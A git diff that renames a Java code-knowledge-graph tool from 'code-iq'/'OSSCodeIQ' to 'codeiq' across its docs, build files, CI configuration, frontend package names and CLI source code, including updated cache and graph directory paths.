diff --git a/.dockerignore b/.dockerignore
index e4142a4d..21507c8c 100644
--- a/.dockerignore
+++ b/.dockerignore
@@ -6,4 +6,4 @@ docs/
 tests/
 .github/
 helm/
-src/osscodeiq/
+src/codeiq/
diff --git a/.github/workflows/ci-java.yml b/.github/workflows/ci-java.yml
index 7521dab9..3c030510 100644
--- a/.github/workflows/ci-java.yml
+++ b/.github/workflows/ci-java.yml
@@ -34,7 +34,7 @@ jobs:
           SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
         run: >
           mvn sonar:sonar -B
-          -Dsonar.projectKey=RandomCodeSpace_code-iq
+          -Dsonar.projectKey=RandomCodeSpace_codeiq
           -Dsonar.organization=randomcodespace
           -Dsonar.host.url=https://sonarcloud.io
           "-Dsonar.exclusions=**/grammar/**,target/generated-sources/**"
diff --git a/.gitignore b/.gitignore
index 1fbaf9b0..27dc9fa8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -21,9 +21,7 @@ target/
 Thumbs.db
 
 # Project runtime data
-.osscodeiq/
-.code-intelligence/
-.code_intelligence_cache*/
+.codeiq/
 *.db
 *.db-wal
 *.db-shm
diff --git a/CLAUDE.md b/CLAUDE.md
index 4c319a34..3239294f 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -1,16 +1,16 @@
-# Code IQ (Java) -- Project Instructions
+# codeiq (Java) -- Project Instructions
 
 ## What This Project Is
 
-**Code IQ** -- a CLI tool + server that scans codebases to build a deterministic code knowledge graph. No AI, no external APIs -- pure static analysis. 97 detectors, 35+ languages, Neo4j Embedded graph database, Spring AI MCP server, REST API, web UI.
+**codeiq** -- a CLI tool + server that scans codebases to build a deterministic code knowledge graph. No AI, no external APIs -- pure static analysis. 97 detectors, 35+ languages, Neo4j Embedded graph database, Spring AI MCP server, REST API, web UI.
 
-- **Maven coordinates:** `io.github.randomcodespace.iq:code-iq`
-- **CLI command:** `code-iq` (via `java -jar`)
+- **Maven coordinates:** `io.github.randomcodespace.iq:code-iq` (artifactId intentionally unchanged)
+- **CLI command:** `codeiq` (via `java -jar`; JAR filename remains `code-iq-*-cli.jar`)
 - **Java package:** `io.github.randomcodespace.iq` (under `src/main/java/`)
-- **GitHub repo:** `RandomCodeSpace/code-iq` (branch: `main`)
-- **Cache directory on disk:** `.code-intelligence` (H2 analysis cache)
-- **Neo4j directory on disk:** `.osscodeiq/graph.db` (enriched graph)
-- **Config file:** `.osscodeiq.yml` (project-level overrides)
+- **GitHub repo:** `RandomCodeSpace/codeiq` (branch: `main`)
+- **Cache directory on disk:** `.codeiq/cache` (H2 analysis cache)
+- **Neo4j directory on disk:** `.codeiq/graph/graph.db` (enriched graph)
+- **Config file:** `codeiq.yml` (project-level overrides)
 
 ## Tech Stack
 
@@ -30,12 +30,12 @@
 
 ```
 Developer machine:
-  code-iq index  /repo  →  H2 cache (.code-intelligence/)
-  code-iq enrich /repo  →  Neo4j (.osscodeiq/graph.db)
-  code-iq bundle /repo  →  bundle.zip (graph + source snapshot)
+  codeiq index  /repo  →  H2 cache (.codeiq/cache/)
+  codeiq enrich /repo  →  Neo4j (.codeiq/graph/graph.db)
+  codeiq bundle /repo  →  bundle.zip (graph + source snapshot)
 
 Remote server (or local):
-  code-iq serve /repo   →  read-only API + MCP + UI (from Neo4j)
+  codeiq serve /repo   →  read-only API + MCP + UI (from Neo4j)
 ```
 
 **Key principle:** MCP and API are strictly **read-only**. No data manipulation from the serving layer. Analysis happens only via CLI (`index`/`enrich`). The remote server may not have source code access (bundle deployment model).
@@ -164,13 +164,13 @@ io.github.randomcodespace.iq
 
 ```bash
 # For large codebases (44K+ files):
-code-iq index /path/to/repo          # ~220s for 44K files, writes to H2
-code-iq enrich /path/to/repo         # loads H2 → Neo4j with linkers/layers/services
-code-iq serve /path/to/repo          # read-only server
+codeiq index /path/to/repo           # ~220s for 44K files, writes to H2
+codeiq enrich /path/to/repo          # loads H2 → Neo4j with linkers/layers/services
+codeiq serve /path/to/repo           # read-only server
 
 # For small codebases:
-code-iq analyze /path/to/repo        # in-memory, all-in-one
-code-iq serve /path/to/repo          # needs enrich if using index
+codeiq analyze /path/to/repo         # in-memory, all-in-one
+codeiq serve /path/to/repo           # needs enrich if using index
 ```
 
 ## Server Endpoints (all read-only)
@@ -380,13 +380,13 @@ camelCase accepted as a deprecated alias for one release). Resolution order
 2. `~/.codeiq/config.yml` (user-global)
 3. `./codeiq.yml` (project)
 4. `CODEIQ_<SECTION>_<KEY>` env vars (e.g. `CODEIQ_SERVING_PORT=9090`)
-5. CLI flags on `code-iq <command>`
+5. CLI flags on `codeiq <command>`
 
 Validate and introspect with:
 
 ```bash
-code-iq config validate
-code-iq config explain
+codeiq config validate
+codeiq config explain
 ```
 
 ### Spring-owned keys (stay in `application.yml`)
@@ -404,14 +404,6 @@ have not been migrated into `codeiq.yml`:
 `UnifiedConfigBeans` bridges the unified config to the legacy `CodeIqConfig`
 bean for code paths that haven't been ported yet.
 
-### `.osscodeiq.yml` deprecation
-
-`.osscodeiq.yml` is deprecated. `ProjectConfigLoader` still loads it for one
-release, translates its legacy flat keys into the unified nested shape, and
-logs a one-time WARN per canonical path. Rename to `codeiq.yml` and migrate
-flat keys into the `project:` / `indexing:` / `serving:` / `mcp:` /
-`observability:` / `detectors:` sections.
-
 ## Gotchas & Lessons Learned
 
 - **Pipeline is index → enrich → serve**: Don't put analysis/enrichment in serve. Serve is read-only.
@@ -434,7 +426,7 @@ flat keys into the `project:` / `indexing:` / `serving:` / `mcp:` /
 - **SnakeYAML parses `on` as Boolean.TRUE**: In YAML files, bare `on` key becomes `Boolean.TRUE`. Use `String.valueOf(key)` comparisons, not `Boolean.TRUE.equals(key)` (SonarCloud S2159).
 - **Regex possessive quantifiers**: Use `*+` instead of `*` for nested quantifiers like `([^"\\]*(?:\\.[^"\\]*)*)` → `([^"\\]*+(?:\\.[^"\\]*+)*+)` to prevent stack overflow (SonarCloud S5998).
 - **Parallel agent conflicts**: Don't dispatch multiple agents editing the same files concurrently. Use worktree isolation or sequential execution.
-- **SonarCloud project key**: `RandomCodeSpace_code-iq`, org: `randomcodespace`
+- **SonarCloud project key**: `RandomCodeSpace_codeiq`, org: `randomcodespace`
 - **CI workflow**: Single `ci-java.yml` runs build + SonarCloud analysis. No cross-platform builds needed (JVM).
 
 ## Updating This File
diff --git a/README.md b/README.md
index 6dc16978..d04f7fd3 100644
--- a/README.md
+++ b/README.md
@@ -1,5 +1,5 @@
 <p align="center">
-  <h1 align="center">Code IQ</h1>
+  <h1 align="center">codeiq</h1>
   <p align="center">
     <strong>Deterministic code knowledge graph -- scans codebases to map services, endpoints, entities, infrastructure, auth patterns, and framework usage. No AI, pure static analysis.</strong>
   </p>
@@ -7,13 +7,13 @@
 
 <p align="center">
   <a href="https://central.sonatype.com/artifact/io.github.randomcodespace.iq/code-iq"><img src="https://img.shields.io/maven-central/v/io.github.randomcodespace.iq/code-iq?style=flat-square&logo=apachemaven&label=Maven%20Central" alt="Maven Central"></a>
-  <a href="https://github.com/RandomCodeSpace/code-iq/actions/workflows/ci-java.yml"><img src="https://img.shields.io/github/actions/workflow/status/RandomCodeSpace/code-iq/ci-java.yml?branch=main&style=flat-square&logo=github&label=CI" alt="CI"></a>
+  <a href="https://github.com/RandomCodeSpace/codeiq/actions/workflows/ci-java.yml"><img src="https://img.shields.io/github/actions/workflow/status/RandomCodeSpace/codeiq/ci-java.yml?branch=main&style=flat-square&logo=github&label=CI" alt="CI"></a>
   <a href="https://www.oracle.com/java/technologies/downloads/"><img src="https://img.shields.io/badge/Java-25-orange?style=flat-square&logo=openjdk&logoColor=white" alt="Java 25"></a>
-  <a href="https://github.com/RandomCodeSpace/code-iq/blob/main/LICENSE"><img src="https://img.shields.io/github/license/RandomCodeSpace/code-iq?style=flat-square&label=License" alt="MIT License"></a>
-  <a href="https://sonarcloud.io/summary/overall?id=RandomCodeSpace_code-iq"><img src="https://sonarcloud.io/api/project_badges/measure?project=RandomCodeSpace_code-iq&metric=security_rating" alt="Security"></a>
-  <a href="https://sonarcloud.io/summary/overall?id=RandomCodeSpace_code-iq"><img src="https://sonarcloud.io/api/project_badges/measure?project=RandomCodeSpace_code-iq&metric=reliability_rating" alt="Reliability"></a>
-  <a href="https://github.com/RandomCodeSpace/code-iq"><img src="https://img.shields.io/badge/detectors-97-brightgreen?style=flat-square&logo=codefactor&logoColor=white" alt="97 Detectors"></a>
-  <a href="https://github.com/RandomCodeSpace/code-iq"><img src="https://img.shields.io/badge/languages-35%2B-blue?style=flat-square&logo=stackblitz&logoColor=white" alt="35+ Languages"></a>
+  <a href="https://github.com/RandomCodeSpace/codeiq/blob/main/LICENSE"><img src="https://img.shields.io/github/license/RandomCodeSpace/codeiq?style=flat-square&label=License" alt="MIT License"></a>
+  <a href="https://sonarcloud.io/summary/overall?id=RandomCodeSpace_codeiq"><img src="https://sonarcloud.io/api/project_badges/measure?project=RandomCodeSpace_codeiq&metric=security_rating" alt="Security"></a>
+  <a href="https://sonarcloud.io/summary/overall?id=RandomCodeSpace_codeiq"><img src="https://sonarcloud.io/api/project_badges/measure?project=RandomCodeSpace_codeiq&metric=reliability_rating" alt="Reliability"></a>
+  <a href="https://github.com/RandomCodeSpace/codeiq"><img src="https://img.shields.io/badge/detectors-97-brightgreen?style=flat-square&logo=codefactor&logoColor=white" alt="97 Detectors"></a>
+  <a href="https://github.com/RandomCodeSpace/codeiq"><img src="https://img.shields.io/badge/languages-35%2B-blue?style=flat-square&logo=stackblitz&logoColor=white" alt="35+ Languages"></a>
 </p>
 
 ---
@@ -22,8 +22,8 @@
 
 ```bash
 # Build from source (requires Java 25+, Maven 3.9+)
-git clone https://github.com/RandomCodeSpace/code-iq.git
-cd code-iq
+git clone https://github.com/RandomCodeSpace/codeiq.git
+cd codeiq
 mvn clean package -DskipTests
 
 # Analyze a codebase
@@ -36,7 +36,7 @@ java -jar target/code-iq-*-cli.jar serve /path/to/repo
 
 ## How It Works
 
-Code IQ scans source files using 97 detectors across 35+ languages, builds a knowledge graph of code relationships, and serves it via REST API, MCP server, and React UI.
+codeiq scans source files using 97 detectors across 35+ languages, builds a knowledge graph of code relationships, and serves it via REST API, MCP server, and React UI.
 
 ```mermaid
 graph TD
@@ -157,7 +157,7 @@ java -jar code-iq-*-cli.jar serve /shared
 
 ## Configuration
 
-code-iq is configured by a single YAML file at the repo root: **`codeiq.yml`**.
+codeiq is configured by a single YAML file at the repo root: **`codeiq.yml`**.
 Every field is optional; omitted fields fall back to the in-code defaults
 (`ConfigDefaults.builtIn()`). See
 [`docs/codeiq.yml.example`](docs/codeiq.yml.example) for the full reference
@@ -172,14 +172,14 @@ are accepted as deprecated aliases for one release and log a WARN on load.
 4. Environment variables: `CODEIQ_<SECTION>_<KEY>` (e.g. `CODEIQ_SERVING_PORT=9090`,
    `CODEIQ_MCP_AUTH_MODE=bearer`, `CODEIQ_INDEXING_BATCH_SIZE=1000`). Nested
    keys are flattened with underscores; values parse as YAML scalars.
-5. CLI flags on `code-iq <command>`
+5. CLI flags on `codeiq <command>`
 
 ### Commands
 
 ```bash
-code-iq config validate              # Validate ./codeiq.yml, exit 1 on error
-code-iq config validate -p custom.yml
-code-iq config explain               # Print each effective value + its source layer
+codeiq config validate              # Validate ./codeiq.yml, exit 1 on error
+codeiq config validate -p custom.yml
+codeiq config explain                # Print each effective value + its source layer
 ```
 
 ### Minimal example
@@ -191,7 +191,7 @@ project:
 
 indexing:
   exclude: ['**/node_modules/**', '**/build/**', '**/dist/**']
-  cache_dir: .code-iq/cache
+  cache_dir: .codeiq/cache
   batch_size: 500
 
 serving:
@@ -218,38 +218,6 @@ and have not been migrated into `codeiq.yml`. Keep them in
 Everything else belongs in `codeiq.yml`. `UnifiedConfigBeans` bridges the
 two worlds for values that exist in both.
 
-### Migration from `.osscodeiq.yml`
-
-`.osscodeiq.yml` is deprecated. code-iq still loads it for one release via
-`ProjectConfigLoader`, translates its legacy flat keys into the unified
-shape, and logs a one-time WARN per path. Rename the file to `codeiq.yml`
-and restructure flat keys into the nested sections.
-
-**Before** (`.osscodeiq.yml`, legacy flat schema):
-
-```yaml
-languages: [java, typescript, yaml]
-exclude:
-  - '**/node_modules/**'
-  - '**/build/**'
-pipeline:
-  parallelism: 4
-  batch-size: 500
-batch_size: 500
-```
-
-**After** (`codeiq.yml`, unified snake_case schema):
-
-```yaml
-indexing:
-  languages: [java, typescript, yaml]
-  exclude:
-    - '**/node_modules/**'
-    - '**/build/**'
-  parallelism: 4
-  batch_size: 500
-```
-
 See `docs/codeiq.yml.example` for the full schema.
 
 ## Graph Model
@@ -294,8 +262,8 @@ All results are 100% deterministic across runs.
 ## Development
 
 ```bash
-git clone https://github.com/RandomCodeSpace/code-iq.git
-cd code-iq
+git clone https://github.com/RandomCodeSpace/codeiq.git
+cd codeiq
 mvn clean package    # Build + test (3,219 tests)
 mvn test             # Tests only
 ```
diff --git a/docs/codeiq.yml.example b/docs/codeiq.yml.example
index 5eca2e52..489628b4 100644
--- a/docs/codeiq.yml.example
+++ b/docs/codeiq.yml.example
@@ -9,8 +9,8 @@
 #   `bindAddress`, `pageCacheMb`, `perToolTimeoutMs`, `logFormat`) are accepted
 #   as deprecated aliases for one release and emit a WARN on load. Do not use
 #   camelCase in new config.
-# - Run `code-iq config validate` to type-check your file, and
-#   `code-iq config explain` to print every effective value and the layer it
+# - Run `codeiq config validate` to type-check your file, and
+#   `codeiq config explain` to print every effective value and the layer it
 #   was resolved from.
 
 # ---------------------------------------------------------------------------
@@ -38,7 +38,7 @@ indexing:
     - '**/dist/**'
     - '**/generated/**'
   incremental: true             # reuse H2 cache when file hashes match
-  cache_dir: .code-iq/cache     # H2 analysis cache directory
+  cache_dir: .codeiq/cache      # H2 analysis cache directory
   parallelism: null             # null = auto-detect (Runtime.availableProcessors()); positive int to pin
   batch_size: 500               # files per H2 flush batch (default: 500)
   max_depth: 10                 # max impact-trace depth
@@ -55,7 +55,7 @@ serving:
   bind_address: 0.0.0.0         # interface to bind; 127.0.0.1 for localhost-only
   read_only: false              # must be false in non-prod; CI gate enforces this
   neo4j:
-    dir: .code-iq/graph/graph.db   # embedded Neo4j data directory
+    dir: .codeiq/graph/graph.db    # embedded Neo4j data directory
     page_cache_mb: 256             # Neo4j page cache (MB)
     heap_initial_mb: 256           # JVM -Xms for Neo4j (MB)
     heap_max_mb: 1024              # JVM -Xmx for Neo4j (MB)
diff --git a/pom.xml b/pom.xml
index ec1fa21d..691566be 100644
--- a/pom.xml
+++ b/pom.xml
@@ -16,9 +16,9 @@
     <version>0.1.0-SNAPSHOT</version>
     <packaging>jar</packaging>
 
-    <name>OSSCodeIQ</name>
+    <name>codeiq</name>
     <description>CLI tool and server that scans codebases to build a deterministic code knowledge graph</description>
-    <url>https://github.com/RandomCodeSpace/code-iq</url>
+    <url>https://github.com/RandomCodeSpace/codeiq</url>
 
     <properties>
         <java.version>25</java.version>
@@ -220,9 +220,9 @@
     </developers>
 
     <scm>
-        <connection>scm:git:git://github.com/RandomCodeSpace/code-iq.git</connection>
-        <developerConnection>scm:git:ssh://github.com:RandomCodeSpace/code-iq.git</developerConnection>
-        <url>https://github.com/RandomCodeSpace/code-iq/tree/main</url>
+        <connection>scm:git:git://github.com/RandomCodeSpace/codeiq.git</connection>
+        <developerConnection>scm:git:ssh://github.com:RandomCodeSpace/codeiq.git</developerConnection>
+        <url>https://github.com/RandomCodeSpace/codeiq/tree/main</url>
     </scm>
 
     <build>
diff --git a/scripts/baseline/consolidate.sh b/scripts/baseline/consolidate.sh
index f2d29997..f12c9bc8 100755
--- a/scripts/baseline/consolidate.sh
+++ b/scripts/baseline/consolidate.sh
@@ -21,7 +21,7 @@ NODE_V=$(node --version)
 NPM_V=$(npm --version)
 
 cat > "$OUT" <<MD
-# code-iq Baseline — 2026-04-17
+# codeiq Baseline — 2026-04-17
 
 This file is generated by \`scripts/baseline/consolidate.sh\`. Re-run after
 updating any capture script. Raw artifacts under \`raw/\` are gitignored.
diff --git a/scripts/baseline/run-pipeline.sh b/scripts/baseline/run-pipeline.sh
index 97970542..f052b4b8 100755
--- a/scripts/baseline/run-pipeline.sh
+++ b/scripts/baseline/run-pipeline.sh
@@ -17,7 +17,7 @@ fi
 [[ -d "$SEED" ]] || { echo "Seed $SEED missing. Run scripts/seed-repos.sh first."; exit 1; }
 
 # Clean any prior state in the seed repo.
-rm -rf "$SEED/.code-intelligence" "$SEED/.osscodeiq"
+rm -rf "$SEED/.codeiq"
 # Truncate timings file so re-runs don't append stale entries.
 : > "$OUT/timings.txt"
 
diff --git a/sonar-project.properties b/sonar-project.properties
index 917c45eb..a59e4306 100644
--- a/sonar-project.properties
+++ b/sonar-project.properties
@@ -1,4 +1,4 @@
-sonar.projectKey=RandomCodeSpace_code-iq
+sonar.projectKey=RandomCodeSpace_codeiq
 sonar.organization=randomcodespace
 sonar.sources=src/main/java
 sonar.tests=src/test/java
diff --git a/spotbugs-exclude.xml b/spotbugs-exclude.xml
index 019922f6..b97f611d 100644
--- a/spotbugs-exclude.xml
+++ b/spotbugs-exclude.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
-  SpotBugs exclude filter for code-iq.
+  SpotBugs exclude filter for codeiq.
 
   Philosophy: fail CI on real bugs, not on stylistic or generated-code noise.
   Each entry MUST have a rationale comment. If a rule here ever catches a
diff --git a/src/main/frontend/package-lock.json b/src/main/frontend/package-lock.json
index b409fc47..606a9762 100644
--- a/src/main/frontend/package-lock.json
+++ b/src/main/frontend/package-lock.json
@@ -1,11 +1,11 @@
 {
-  "name": "osscodeiq-ui",
+  "name": "codeiq-ui",
   "version": "0.2.0",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
-      "name": "osscodeiq-ui",
+      "name": "codeiq-ui",
       "version": "0.2.0",
       "dependencies": {
         "@ant-design/icons": "^5.6.1",
diff --git a/src/main/frontend/package.json b/src/main/frontend/package.json
index 19eabb14..60e3967c 100644
--- a/src/main/frontend/package.json
+++ b/src/main/frontend/package.json
@@ -1,5 +1,5 @@
 {
-  "name": "osscodeiq-ui",
+  "name": "codeiq-ui",
   "private": true,
   "version": "0.2.0",
   "type": "module",
diff --git a/src/main/frontend/playwright.config.ts b/src/main/frontend/playwright.config.ts
index 8d82b978..1c5eb6dd 100644
--- a/src/main/frontend/playwright.config.ts
+++ b/src/main/frontend/playwright.config.ts
@@ -2,15 +2,15 @@
 import { defineConfig, devices } from '@playwright/test';
 
 /**
- * Playwright E2E test configuration for Code IQ UI Redesign (Phase 7).
+ * Playwright E2E test configuration for codeiq UI Redesign (Phase 7).
  *
  * Prerequisites:
  *   - A pre-built CLI jar under ../../../target/code-iq-*-cli.jar
  *     (run `mvn -DskipTests package` from the repo root if missing).
  *   - A pre-populated fixture at <repo-root>/.seeds/spring-petclinic
- *     with .code-iq/cache + .code-iq/graph populated by
+ *     with .codeiq/cache + .codeiq/graph populated by
  *     `./scripts/baseline/run-pipeline.sh spring-petclinic`. The webServer
- *     block below boots `code-iq serve` against this fixture automatically.
+ *     block below boots `codeiq serve` against this fixture automatically.
  *   - Set `BASE_URL` / `E2E_FIXTURE` to override defaults when running against
  *     a different backend or fixture.
  *
@@ -28,7 +28,7 @@ export default defineConfig({
   workers: process.env.CI ? 1 : undefined,
   reporter: [['html', { outputFolder: 'playwright-report' }], ['line']],
 
-  // Boot the real code-iq backend against a pre-enriched fixture before any
+  // Boot the real codeiq backend against a pre-enriched fixture before any
   // spec runs. Skipped if BASE_URL points elsewhere (developer has their own
   // backend) or if a server is already listening on the target port locally.
   webServer: process.env.BASE_URL ? undefined : {
diff --git a/src/main/java/io/github/randomcodespace/iq/CodeIqApplication.java b/src/main/java/io/github/randomcodespace/iq/CodeIqApplication.java
index 4b831488..7f0dfa56 100644
--- a/src/main/java/io/github/randomcodespace/iq/CodeIqApplication.java
+++ b/src/main/java/io/github/randomcodespace/iq/CodeIqApplication.java
@@ -90,7 +90,7 @@ public static void main(String[] args) {
             if (graphOverride != null) {
                 graphDbPath = java.nio.file.Path.of(graphOverride).toAbsolutePath().normalize();
             } else {
-                graphDbPath = root.resolve(".code-iq/graph/graph.db");
+                graphDbPath = root.resolve(".codeiq/graph/graph.db");
             }
 
             // Point Neo4j config to the graph path (enriched or new empty db).
diff --git a/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java b/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java
index 49a4705e..44c46ca6 100644
--- a/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java
+++ b/src/main/java/io/github/randomcodespace/iq/analyzer/Analyzer.java
@@ -146,7 +146,7 @@ public Analyzer(
      * Backward-compatible constructor for tests that don't need smart indexing.
      *
      * <p>Defaults the unified-config overlay to {@link CodeIqUnifiedConfig#empty()} —
-     * equivalent to the pre-Phase-B "no {@code .osscodeiq.yml} present" path
+     * equivalent to the "no {@code codeiq.yml} present" path
      * (no detector filters, no language filter, auto parallelism). Tests that
      * need to exercise filters should use the primary constructor with a
      * hand-rolled {@link CodeIqUnifiedConfig}.
diff --git a/src/main/java/io/github/randomcodespace/iq/analyzer/FileDiscovery.java b/src/main/java/io/github/randomcodespace/iq/analyzer/FileDiscovery.java
index 0bae6d1e..6eff6d1a 100644
--- a/src/main/java/io/github/randomcodespace/iq/analyzer/FileDiscovery.java
+++ b/src/main/java/io/github/randomcodespace/iq/analyzer/FileDiscovery.java
@@ -46,8 +46,8 @@ public class FileDiscovery {
             ".parcel-cache", ".turbo", ".cache",
             // Go / Rust
             "vendor",
-            // Code-IQ own dirs
-            ".code-iq", ".code-intelligence", ".osscodeiq"
+            // codeiq own dirs
+            ".codeiq"
     );
 
     /** Files to always skip (lock files, generated). */
diff --git a/src/main/java/io/github/randomcodespace/iq/api/FlowController.java b/src/main/java/io/github/randomcodespace/iq/api/FlowController.java
index 3757ebed..5205d341 100644
--- a/src/main/java/io/github/randomcodespace/iq/api/FlowController.java
+++ b/src/main/java/io/github/randomcodespace/iq/api/FlowController.java
@@ -124,14 +124,14 @@ private FlowEngine resolveEngine() {
 
         if (!Files.exists(h2File)) {
             throw new ResponseStatusException(HttpStatus.SERVICE_UNAVAILABLE,
-                    "No analysis data available. Run 'code-iq analyze' first.");
+                    "No analysis data available. Run 'codeiq analyze' first.");
         }
 
         try (AnalysisCache cache = new AnalysisCache(cachePath)) {
             List<CodeNode> nodes = cache.loadAllNodes();
             if (nodes.isEmpty()) {
                 throw new ResponseStatusException(HttpStatus.SERVICE_UNAVAILABLE,
-                        "Analysis cache is empty. Run 'code-iq analyze' first.");
+                        "Analysis cache is empty. Run 'codeiq analyze' first.");
             }
             return FlowEngine.fromCache(nodes);
         }
diff --git a/src/main/java/io/github/randomcodespace/iq/api/GraphController.java b/src/main/java/io/github/randomcodespace/iq/api/GraphController.java
index a8a15613..75f189e2 100644
--- a/src/main/java/io/github/randomcodespace/iq/api/GraphController.java
+++ b/src/main/java/io/github/randomcodespace/iq/api/GraphController.java
@@ -293,6 +293,6 @@ public ResponseEntity<String> readFile(
     }
 
     // POST /api/analyze removed — API/MCP server is read-only.
-    // Analysis is done locally via CLI: code-iq analyze / code-iq index
+    // Analysis is done locally via CLI: codeiq analyze / codeiq index
     // Data is loaded into Neo4j on serve startup (auto-enrich).
 }
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/BundleCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/BundleCommand.java
index 74a5fa9e..e597c6e4 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/BundleCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/BundleCommand.java
@@ -103,13 +103,13 @@ public Integer call() {
         // Resolve paths
         Path neo4jDir = graphDirOption != null
                 ? graphDirOption.toAbsolutePath().normalize()
-                : root.resolve(".code-iq/graph/graph.db");
+                : root.resolve(".codeiq/graph/graph.db");
         Path h2Dir = root.resolve(config.getCacheDir());
 
         // Validate Neo4j graph exists
         if (!Files.isDirectory(neo4jDir)) {
             CliOutput.error("No Neo4j graph found at " + neo4jDir);
-            CliOutput.info("  Run 'code-iq index " + root + "' then 'code-iq enrich " + root + "' first.");
+            CliOutput.info("  Run 'codeiq index " + root + "' then 'codeiq enrich " + root + "' first.");
             return 1;
         }
 
@@ -254,7 +254,7 @@ private String generateServeShell(String version) {
                 cd "$SCRIPT_DIR"
 
                 # Read version from manifest
-                VERSION=$(grep -o '"osscodeiq_version" *: *"[^"]*"' manifest.json | grep -o '"[^"]*"$' | tr -d '"')
+                VERSION=$(grep -o '"extractor_version" *: *"[^"]*"' manifest.json | grep -o '"[^"]*"$' | tr -d '"')
                 JAR="code-iq-${VERSION}-cli.jar"
 
                 # Download CLI JAR if not present
@@ -264,7 +264,7 @@ private String generateServeShell(String version) {
                     echo "  Re-bundle with --include-jar or place $JAR in this directory."
                     exit 1
                   fi
-                  echo "Downloading code-iq CLI v${VERSION}..."
+                  echo "Downloading codeiq CLI v${VERSION}..."
                   curl -fL -o "$JAR" \\
                     "https://repo1.maven.org/maven2/io/github/randomcodespace/iq/code-iq/${VERSION}/code-iq-${VERSION}-cli.jar"
                 fi
@@ -284,7 +284,7 @@ private String generateServeBat(String version) {
                 setlocal enabledelayedexpansion\r
                 cd /d "%~dp0"\r
                 \r
-                for /f "tokens=2 delims=:" %%a in ('findstr "osscodeiq_version" manifest.json') do (\r
+                for /f "tokens=2 delims=:" %%a in ('findstr "extractor_version" manifest.json') do (\r
                     set "VERSION=%%~a"\r
                     set "VERSION=!VERSION: =!"\r
                     set "VERSION=!VERSION:"=!"\r
@@ -300,7 +300,7 @@ private String generateServeBat(String version) {
                         echo   Re-bundle with --include-jar or place !JAR! in this directory.\r
                         exit /b 1\r
                     )\r
-                    echo Downloading code-iq CLI v!VERSION!...\r
+                    echo Downloading codeiq CLI v!VERSION!...\r
                     curl -fL -o "!JAR!" "https://repo1.maven.org/maven2/io/github/randomcodespace/iq/code-iq/!VERSION!/code-iq-!VERSION!-cli.jar"\r
                 )\r
                 \r
@@ -391,7 +391,7 @@ private int bundleSourceFiles(Path root, ZipOutputStream zos) {
         try (Stream<Path> walk = Files.walk(root)) {
             walk.filter(Files::isRegularFile)
                     .filter(p -> !p.startsWith(root.resolve(config.getCacheDir())))
-                    .filter(p -> !p.startsWith(root.resolve(".osscodeiq")))
+                    .filter(p -> !p.startsWith(root.resolve(".codeiq")))
                     .filter(p -> !p.startsWith(root.resolve(".git")))
                     .sorted()
                     .forEach(file -> {
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/CacheCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/CacheCommand.java
index 1ad04f8c..38c0b1b2 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/CacheCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/CacheCommand.java
@@ -12,7 +12,7 @@
 import java.util.concurrent.Callable;
 
 /**
- * Manage the analysis cache (.code-intelligence directory).
+ * Manage the analysis cache (.codeiq/cache directory).
  */
 @Component
 @Command(name = "cache", mixinStandardHelpOptions = true,
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java b/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java
index c092f59f..b33653f6 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/CliOutput.java
@@ -84,7 +84,7 @@ static String format(String ansiFormatted) {
      * Used by both {@code analyze} and {@code index} commands.
      *
      * <p>Project-level overrides ({@code cache_dir}, {@code max_depth},
-     * {@code max_radius} from {@code codeiq.yml} / legacy {@code .osscodeiq.yml})
+     * {@code max_radius} from {@code codeiq.yml})
      * are already resolved at Spring startup by
      * {@link io.github.randomcodespace.iq.config.UnifiedConfigBeans#codeIqConfig}
      * via {@code ConfigResolver} + {@code UnifiedConfigAdapter}. The {@code config}
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/CodeIqCli.java b/src/main/java/io/github/randomcodespace/iq/cli/CodeIqCli.java
index ac92c07c..f84468ae 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/CodeIqCli.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/CodeIqCli.java
@@ -5,12 +5,12 @@
 import picocli.CommandLine.Command;
 
 /**
- * Top-level CLI entry point for Code IQ.
+ * Top-level CLI entry point for codeiq.
  * Delegates to subcommands for actual work.
  */
 @Component
 @Command(
-        name = "code-iq",
+        name = "codeiq",
         mixinStandardHelpOptions = true,
         version = "0.1.0-SNAPSHOT",
         description = "Intelligent code graph discovery and analysis CLI",
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/ConfigCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/ConfigCommand.java
index c111d88d..f6a23b73 100644
--- a/src/main/java/io/github/randomcodespace/iq/cli/ConfigCommand.java
+++ b/src/main/java/io/github/randomcodespace/iq/cli/ConfigCommand.java
@@ -11,7 +11,7 @@
 /**
  * Parent command for configuration-related subcommands.
  *
- * <p>Running {@code code-iq config} with no subcommand prints usage to stderr
+ * <p>Running {@code codeiq config} with no subcommand prints usage to stderr
  * and exits with picocli's conventional {@code USAGE} (2) exit code so that
  * scripts can distinguish "I invoked the tool wrong" from a successful or
  * failed operation.
@@ -20,7 +20,7 @@
 @Command(
         name = "config",
         mixinStandardHelpOptions = true,
-        description = "Inspect and validate code-iq configuration",
+        description = "Inspect and validate codeiq configuration",
         subcommands = {ConfigValidateSubcommand.class, ConfigExplainSubcommand.class})
 public class ConfigCommand implements Callable<Integer> {
 
diff --git a/src/main/java/io/github/randomcodespace/iq/cli/CypherCommand.java b/src/main/java/io/github/randomcodespace/iq/cli/CypherCommand.java
